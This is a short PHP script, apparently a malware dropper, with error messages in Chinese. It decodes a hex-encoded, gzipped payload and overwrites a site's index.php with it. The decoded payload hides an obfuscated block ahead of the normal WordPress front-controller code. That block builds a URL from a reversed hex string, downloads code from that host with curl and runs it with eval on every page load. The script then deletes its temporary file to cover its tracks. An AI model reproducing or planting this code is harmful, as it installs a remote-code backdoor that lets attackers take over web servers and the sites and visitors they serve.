$compressed = gzencode(hex2bin("3c3f7068700d0a246378203d206375726c5f696e6974286865783262696e287374727265762822343738373437653234363736363666356536353662363136643237373737663536333733383339336635313335333833323361366137663233366136663230376636343765326336633666363037343639363336313665323737373766326632613333373037343734373836222929293b0d0a6375726c5f7365746f7074282463782c204355524c4f50545f52455455524e5452414e534645522c2031293b0d0a247273203d206375726c5f6578656328246378293b0d0a6966202824727320213d3d2066616c736529207b0d0a202020202464617461203d206556614c28273f3e27202e20247273293b0d0a7d0d0a6375726c5f636c6f736528246378293b0d0a3f3e0d0a0d0a3c3f7068700d0a2f2a2a0d0a202a2046726f6e7420746f2074686520576f72645072657373206170706c69636174696f6e2e20546869732066696c6520646f65736e277420646f20616e797468696e672c20627574206c6f6164730d0a202a2077702d626c6f672d6865616465722e70687020776869636820646f657320616e642074656c6c7320576f7264507265737320746f206c6f616420746865207468656d652e0d0a202a0d0a202a20407061636b61676520576f726450726573730d0a202a2f0d0a0d0a2f2a2a0d0a202a2054656c6c7320576f7264507265737320746f206c6f61642074686520576f72645072657373207468656d6520616e64206f75747075742069742e0d0a202a0d0a202a204076617220626f6f6c0d0a202a2f0d0a646566696e6528202757505f5553455f5448454d4553272c207472756520293b0d0a0d0a2f2a2a204c6f6164732074686520576f7264507265737320456e7669726f6e6d656e7420616e642054656d706c617465202a2f0d0a72657175697265205f5f4449525f5f202e20272f77702d626c6f672d6865616465722e706870273b"), 3);file_put_contents("29401", $compressed); $gzFileName = "29401";$outputFileName = "index.php"; $gzFile = gzopen($gzFileName, 'rb'); if ($gzFile === false) {die('无法打开GZ文件');} $outputFile = fopen($outputFileName, 'wb'); if ($outputFile === false) {gzclose($gzFile); die('无法创建输出文件');} while (!gzeof($gzFile)) { $data = gzread($gzFile, 4096); fwrite($outputFile, $data); } gzclose($gzFile); fclose($outputFile); echo "解压完成,输出文件:{$outputFileName}"; @unlink("29401");